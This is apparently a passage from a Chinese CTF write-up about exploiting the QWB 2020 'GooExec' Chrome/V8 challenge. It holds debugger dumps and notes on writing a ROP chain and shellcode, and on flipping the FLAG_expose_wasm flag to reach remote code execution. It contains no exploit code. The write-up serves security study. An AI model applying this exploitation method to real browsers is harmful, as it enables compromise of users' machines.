──────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────
 ► 0x7ffa6d1f2d87    call   qword ptr [rax + 0x130]
 
   0x7ffa6d1f2d8d    mov    ebx, eax
   0x7ffa6d1f2d8f    cmp    byte ptr [rbp - 0x21], 0
   0x7ffa6d1f2d93    jns    0x7ffa6d1f2d9e <0x7ffa6d1f2d9e>
 
   0x7ffa6d1f2d95    mov    rdi, qword ptr [rbp - 0x38]
   0x7ffa6d1f2d99    call   0x7ffa6d58c2b0 <0x7ffa6d58c2b0>
 
   0x7ffa6d1f2d9e    mov    eax, ebx
   0x7ffa6d1f2da0    add    rsp, 0x20
   0x7ffa6d1f2da4    pop    rbx
   0x7ffa6d1f2da5    pop    r12
   0x7ffa6d1f2da7    pop    r14
───────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────
00:0000│ rsp      0x7fff5a9337f0 ◂— 0x6f63222c3531333a (':315,"co')
01:0008│ rbx rsi  0x7fff5a9337f8 —▸ 0x2159c9217850 ◂— 0x70007400740068 /* 'h' */
02:0010│          0x7fff5a933800 ◂— 0x33 /* '3' */
03:0018│          0x7fff5a933808 ◂— 0x8000000000000038 /* '8' */
04:0020│          0x7fff5a933810 —▸ 0x2159c7fd1870 —▸ 0x7ffa6d61dd70 —▸ 0x7ffa6d1e2bd0 ◂— push   rbp
05:0028│          0x7fff5a933818 —▸ 0x7aec7a098a0 —▸ 0x1aff0c20dd00 ◂— 0x3300000003
06:0030│          0x7fff5a933820 —▸ 0x7fff5a933880 —▸ 0x1aff0c20dd00 ◂— 0x3300000003
07:0038│          0x7fff5a933828 —▸ 0x7fff5a933840 —▸ 0x1aff0c20dd00 ◂— 0x3300000003

对应的标准状态

RAX  0x563d451a88d0 —▸ 0x563d44e586b0 ◂— push   rbp
 RBX  0x7fff5a933638 —▸ 0x2159c818c320 ◂— 0x70007400740068 /* 'h' */
 RCX  0xffffffffffffffc0
 RDX  0x0
 RDI  0x563d451e2c18 —▸ 0x563d451a88d0 —▸ 0x563d44e586b0 ◂— push   rbp
 RSI  0x7fff5a933638 —▸ 0x2159c818c320 ◂— 0x70007400740068 /* 'h' */
 R8   0x372627e097e0 —▸ 0x14c16ee5c3c0 ◂— 0x2000000003
 R9   0x0
 R10  0x7ffa6c321ffb ◂— '_ZN7content15RenderFrameImpl36ShouldReportDetailedMessageForSourceERKN5blink9WebStringE'
 R11  0x7ffa6d1f2d30 ◂— push   rbp
 R12  0x0
 R13  0x3
 R14  0x563d451e2c18 —▸ 0x563d451a88d0 —▸ 0x563d44e586b0 ◂— push   rbp
 R15  0x20
 RBP  0x7fff5a933670 —▸ 0x7fff5a9336a0 —▸ 0x7fff5a933700 —▸ 0x7fff5a933760 —▸ 0x7fff5a933890 ◂— ...
 RSP  0x7fff5a933630 ◂— 0x70 /* 'p' */
 RIP  0x7ffa6d1f2d87 ◂— call   qword ptr [rax + 0x130]
──────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────
 ► 0x7ffa6d1f2d87    call   qword ptr [rax + 0x130] <0x563d44e5ca50>
 
   0x7ffa6d1f2d8d    mov    ebx, eax
   0x7ffa6d1f2d8f    cmp    byte ptr [rbp - 0x21], 0
   0x7ffa6d1f2d93    jns    0x7ffa6d1f2d9e <0x7ffa6d1f2d9e>
 
   0x7ffa6d1f2d95    mov    rdi, qword ptr [rbp - 0x38]
   0x7ffa6d1f2d99    call   0x7ffa6d58c2b0 <0x7ffa6d58c2b0>
 
   0x7ffa6d1f2d9e    mov    eax, ebx
   0x7ffa6d1f2da0    add    rsp, 0x20
   0x7ffa6d1f2da4    pop    rbx
   0x7ffa6d1f2da5    pop    r12
   0x7ffa6d1f2da7    pop    r14
───────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────
00:0000│ rsp      0x7fff5a933630 ◂— 0x70 /* 'p' */
01:0008│ rbx rsi  0x7fff5a933638 —▸ 0x2159c818c320 ◂— 0x70007400740068 /* 'h' */
02:0010│          0x7fff5a933640 ◂— 0x20 /* ' ' */
03:0018│          0x7fff5a933648 ◂— 0x8000000000000028 /* '(' */
04:0020│          0x7fff5a933650 —▸ 0x2159c7fd1870 —▸ 0x7ffa6d61dd70 —▸ 0x7ffa6d1e2bd0 ◂— push   rbp
05:0028│          0x7fff5a933658 —▸ 0x372627e097e0 —▸ 0x14c16ee5c3c0 ◂— 0x2000000003
06:0030│          0x7fff5a933660 —▸ 0x7fff5a9336c0 —▸ 0x14c16ee5c3c0 ◂— 0x2000000003
07:0038│          0x7fff5a933668 —▸ 0x7fff5a933680 —▸ 0x14c16ee5c3c0 ◂— 0x2000000003

通过栈回溯,发现自己写的脚本中含有去优化,所以crash了

突然间就触发不了断点了....






重新尝试删除部分脚本

下图可以发现rop_chain写入了

image-20201129232929860

shellcode写入了

image-20201129232959411

下一步尝试在ret下断点

断不下来,但是对比发现,应该是部分len/base指针写错了,改一改出现了下面的错

image-20201130091727756

#0  __GI___pthread_mutex_lock (mutex=0x534944b84801a809) at ../nptl/pthread_mutex_lock.c:67
#1  0x00007f369c0b2c10 in v8::internal::StackGuard::CheckInterrupt(v8::internal::StackGuard::InterruptFlag) () at /home/ubuntu2004/now/Release/libv8.so
#2  0x00007f369c061e22 in v8::internal::Debug::OnThrow(v8::internal::Handle<v8::internal::Object>) () at /home/ubuntu2004/now/Release/libv8.so
#3  0x00007f369c098dcc in v8::internal::Isolate::Throw(v8::internal::Object, v8::internal::MessageLocation*) () at /home/ubuntu2004/now/Release/libv8.so
#4  0x00007f369c098af8 in v8::internal::Isolate::StackOverflow() () at /home/ubuntu2004/now/Release/libv8.so
#5  0x00007f369c3fbb60 in v8::internal::Runtime_StackGuard(int, unsigned long*, v8::internal::Isolate*) () at /home/ubuntu2004/now/Release/libv8.so
#6  0x00007f369bea2278 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit () at /home/ubuntu2004/now/Release/libv8.so
#7  0x00007f369bf37db8 in Builtins_JumpLoopHandler () at /home/ubuntu2004/now/Release/libv8.so
#8  0x00007f369be36678 in Builtins_InterpreterEntryTrampoline () at /home/ubuntu2004/now/Release/libv8.so
#9  0x0000262e0000001e in  ()
#10 0x0000262e088f0a61 in  ()
#11 0x0000262e082e0c35 in  ()
#12 0x0000262e00000042 in  ()
#13 0x0000262e083824dd in  ()
#14 0x0000000000000014 in  ()
#15 0x0000262e0838fd99 in  ()
#16 0x000000000000014e in  ()
#17 0x0000262e088f0a69 in  ()
#18 0x0000000000000002 in  ()
#19 0x0000262e082e0fb5 in  ()
#20 0x0000262e082e0b3d in  ()
#21 0x00007ffec9d83a10 in  ()
#22 0x00007f369be36678 in Builtins_InterpreterEntryTrampoline () at /home/ubuntu2004/now/Release/libv8.so
#23 0x0000262e0838fd81 in  ()
#24 0x0000262e0838fd09 in  ()
#25 0x0000262e084c2405 in  ()
#26 0x0000000000001136 in  ()
#27 0x0000000000001102 in  ()
#28 0x0000000000000000 in  ()

根据栈回溯 应该是栈溢出

我吐了,最后的问题出在变量名字上


image-20201130093330004

image-20201130093338863




还有这个mprotect实际只要了一个系统调用,而且后面跟了ret(后来发现多虑了,这就是protect)

image-20201129212848320





5.2 chrome wasm

html1用来修改wasm标志“FLAG_expose_wasm” , 在同一个tag下运行html2实现RCE.

问题一,如何找FLAG_expose_wasm

首先尝试了使用pwndbg搜索

但是发现和真正要找的位置不同

image-20201130080524066

按照博客作者说的使用ida进行分析

发现对于的so文件

image-20201130080611846

将libv8.so拖入到ida里面

注意这里使用的是.data段的,不是got段

image-20201130081252840



6 问题

迭代次数的问题
Chrome 与 v8 调试问题

同样的脚本在chrome跑

image-20201127205944818

在v8跑

image-20201127214010713

之后使用标准的脚本去跑,发现是可以跑出正确的结果,这时进行脚本的比对

问题出在

image-20201127214908960

我在声明obj数组和uint数组前就输出了一次oob的len,~



chrome最后的调试

程序写50次就崩了

image-20201129210351313

image-20201129210331246

但是问题似乎不是出在这里

因为标准exp在加上输出后同样不行了

image-20201129211305207

所以这里是不能输出的




7 参考

强网杯2020线下GooExec (mem2019.github.io)

强网杯2020-GooExec chrome pwn分析及两种利用思路 - 先知社区 (aliyun.com)

https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/qwb2020-final-GOOexec_chromium

https://bugs.chromium.org/p/chromium/issues/detail?id=799263


# chrome漏洞 # pwn # 强网杯
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者